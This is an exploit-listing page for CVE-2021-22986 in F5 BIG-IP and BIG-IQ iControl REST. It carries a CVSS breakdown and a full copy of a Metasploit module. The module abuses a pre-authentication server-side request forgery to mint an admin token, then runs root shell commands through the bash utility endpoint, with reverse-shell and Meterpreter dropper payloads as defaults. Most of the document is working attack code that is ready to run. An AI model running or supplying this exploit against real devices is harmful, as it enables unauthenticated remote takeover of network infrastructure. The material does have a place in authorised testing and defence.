F5 iControl Server-Side Request Forgery / Remote Command Execution
CVE
Category
Price
Severity
CVE-2021-22986
CWE-918
$5000
Critical
Author
Risk
Exploitation Type
Date
Mikhail Klyuchnikov of Positive Technologies
Critical
Remote
2021-04-04
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040027 Below is a copy:
F5 iControl Server-Side Request Forgery / Remote Command Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',
'Description' => %q{
This module exploits a pre-auth SSRF in the F5 iControl REST API's
/mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that
can be used to execute root commands on an affected BIG-IP or BIG-IQ
device. This vulnerability is known as CVE-2021-22986.
CVE-2021-22986 affects the following BIG-IP versions:
* 12.1.0 - 12.1.5
* 13.1.0 - 13.1.3
* 14.1.0 - 14.1.3
* 15.1.0 - 15.1.2
* 16.0.0 - 16.0.1
And the following BIG-IQ versions:
* 6.0.0 - 6.1.0
* 7.0.0
* 7.1.0
Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.
},
'Author' => [
'wvu', # Analysis and exploit
'Rich Warren' # First blood (RCE) and endpoint collaboration
],
'References' => [
['CVE', '2021-22986'],
['URL', 'https://support.f5.com/csp/article/K03009991'],
['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],
['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']
# https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html
],
'DisclosureDate' => '2021-03-10', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
'SideEffects' => [
IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie
ARTIFACTS_ON_DISK # CmdStager
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),
OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])
])
register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end
def username
datastore['USERNAME']
end
def user_reference_endpoint
normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)
end
def check
generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe
end
def exploit
return unless (@token ||= generate_token_ssrf)
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def generate_token_ssrf
print_status('Generating token via SSRF...')
vprint_status("Username: #{username}")
vprint_status("Endpoint: #{login_reference_endpoint}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
'ctype' => 'application/json',
'data' => {
'username' => username,
'bigipAuthCookie' => '',
'authProviderName' => 'local',
'loginReference' => {
'link' => "https://localhost#{login_reference_endpoint}"
},
'userReference' => {
'link' => "https://localhost#{user_reference_endpoint}"
}
}.to_json
)
unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))
print_error('Failed to generate token')
return
end
print_good("Successfully generated token: #{@token}")
@token
end
def execute_command(cmd, _opts = {})
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"
print_status("Executing command: #{bash_cmd}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
'ctype' => 'application/json',
'headers' => {
'X-F5-Auth-Token' => @token
},
'data' => {
'command' => 'run',
'utilCmdArgs' => "-c '#{bash_cmd}'"
}.to_json
}, datastore['CmdExecTimeout'])
unless res
vprint_warning('Command execution timed out')
return
end
unless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate'
fail_with(Failure::PayloadFailed, 'Failed to execute command')
end
print_good('Successfully executed command')
return unless (cmd_result = res.get_json_document['commandResult'])
vprint_line(cmd_result)
end
def login_reference_endpoint
if datastore['ENDPOINT']
return normalize_uri(target_uri.path, datastore['ENDPOINT'])
end
@token_generation_endpoint ||= token_generation_endpoints.sample
normalize_uri(target_uri.path, @token_generation_endpoint)
end
# Usable token generation endpoints between versions 12.1.4 and 16.0.1
def token_generation_endpoints
%w[
/access/file-path-manager/indexing
/cm/autodeploy/cluster-software-images/indexing
/cm/autodeploy/qkview/indexing
/cm/autodeploy/software-images/indexing
/cm/autodeploy/software-volume-install/indexing
/cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing
/cm/system/authn/providers/tmos/indexing
/mgmt/shared/analytics/avr-proxy-tasks
/mgmt/shared/gossip
/mgmt/shared/gossip-peer-refresher
/mgmt/shared/identified-devices/config/device-refresh
/mgmt/shared/save-config
/mgmt/tm/shared/bigip-failover-state
/shared/analytics/avr-proxy-tasks
/shared/analytics/avr-proxy-tasks/indexing
/shared/analytics/event-aggregation-tasks/indexing
/shared/analytics/event-analysis-tasks/indexing
/shared/authn/providers/local/groups/indexing
/shared/authz/remote-resources/indexing
/shared/authz/resource-groups/indexing
/shared/authz/roles/indexing
/shared/authz/tokens/indexing
/shared/chassis-framework-upgrades/indexing
/shared/device-discovery-tasks/indexing
/shared/device-group-key-pairs/indexing
/shared/echo/indexing
/shared/framework-info-tasks/indexing
/shared/framework-upgrades/indexing
/shared/gossip
/shared/gossip-peer-refresher
/shared/group-task/indexing
/shared/iapp/blocks/indexing
/shared/iapp/build-package/indexing
/shared/iapp/health-prefix-map/indexing
/shared/iapp/package-management-tasks/indexing
/shared/iapp/template-loader/indexing
/shared/identified-devices/config/device-refresh
/shared/nodejs/loader-path-config/indexing
/shared/package-deployments/indexing
/shared/resolver/device-groups/indexing
/shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing
/shared/root-framework-upgrades/indexing
/shared/rpm-tasks/indexing
/shared/save-config
/shared/snapshot-task/indexing
/shared/snapshot/indexing
/shared/stats-information/indexing
/shared/storage/tasks/indexing
/shared/task-scheduler/scheduler/indexing
/shared/tmsh-shell/indexing
/tm/analytics/afm-sweeper/generate-report/indexing
/tm/analytics/afm-sweeper/report-results/indexing
/tm/analytics/application-security-anomalies/generate-report/indexing
/tm/analytics/application-security-anomalies/report-results/indexing
/tm/analytics/application-security-network/generate-report/indexing
/tm/analytics/application-security-network/report-results/indexing
/tm/analytics/application-security/generate-report/indexing
/tm/analytics/application-security/report-results/indexing
/tm/analytics/asm-bypass/generate-report/indexing
/tm/analytics/asm-bypass/report-results/indexing
/tm/analytics/asm-cpu/generate-report/indexing
/tm/analytics/asm-cpu/report-results/indexing
/tm/analytics/asm-memory/generate-report/indexing
/tm/analytics/asm-memory/report-results/indexing
/tm/analytics/cpu/generate-report/indexing
/tm/analytics/cpu/report-results/indexing
/tm/analytics/disk-info/generate-report/indexing
/tm/analytics/disk-info/report-results/indexing
/tm/analytics/dns/generate-report/indexing
/tm/analytics/dns/report-results/indexing
/tm/analytics/dos-l3/generate-report/indexing
/tm/analytics/dos-l3/report-results/indexing
/tm/analytics/http/generate-report/indexing
/tm/analytics/http/report-results/indexing
/tm/analytics/ip-intelligence/generate-report/indexing
/tm/analytics/ip-intelligence/report-results/indexing
/tm/analytics/ip-layer/generate-report/indexing
/tm/analytics/ip-layer/report-results/indexing
/tm/analytics/lsn-pool/generate-report/indexing
/tm/analytics/lsn-pool/report-results/indexing
/tm/analytics/memory/generate-report/indexing
/tm/analytics/memory/report-results/indexing
/tm/analytics/network/generate-report/indexing
/tm/analytics/network/report-results/indexing
/tm/analytics/pem/generate-report/indexing
/tm/analytics/pem/report-results/indexing
/tm/analytics/proc-cpu/generate-report/indexing
/tm/analytics/proc-cpu/report-results/indexing
/tm/analytics/protocol-security-http/generate-report/indexing
/tm/analytics/protocol-security-http/report-results/indexing
/tm/analytics/protocol-security/generate-report/indexing
/tm/analytics/protocol-security/report-results/indexing
/tm/analytics/sip/generate-report/indexing
/tm/analytics/sip/report-results/indexing
/tm/analytics/swg-blocked/generate-report/indexing
/tm/analytics/swg-blocked/report-results/indexing
/tm/analytics/swg/generate-report/indexing
/tm/analytics/swg/report-results/indexing
/tm/analytics/tcp-analytics/generate-report/indexing
/tm/analytics/tcp-analytics/report-results/indexing
/tm/analytics/tcp/generate-report/indexing
/tm/analytics/tcp/report-results/indexing
/tm/analytics/udp/generate-report/indexing
/tm/analytics/udp/report-results/indexing
/tm/analytics/vcmp/generate-report/indexing
/tm/analytics/vcmp/report-results/indexing
/tm/analytics/virtual/generate-report/indexing
/tm/analytics/virtual/report-results/indexing
/tm/shared/bigip-failover-state
/tm/shared/sys/backup/indexing
]
end
end
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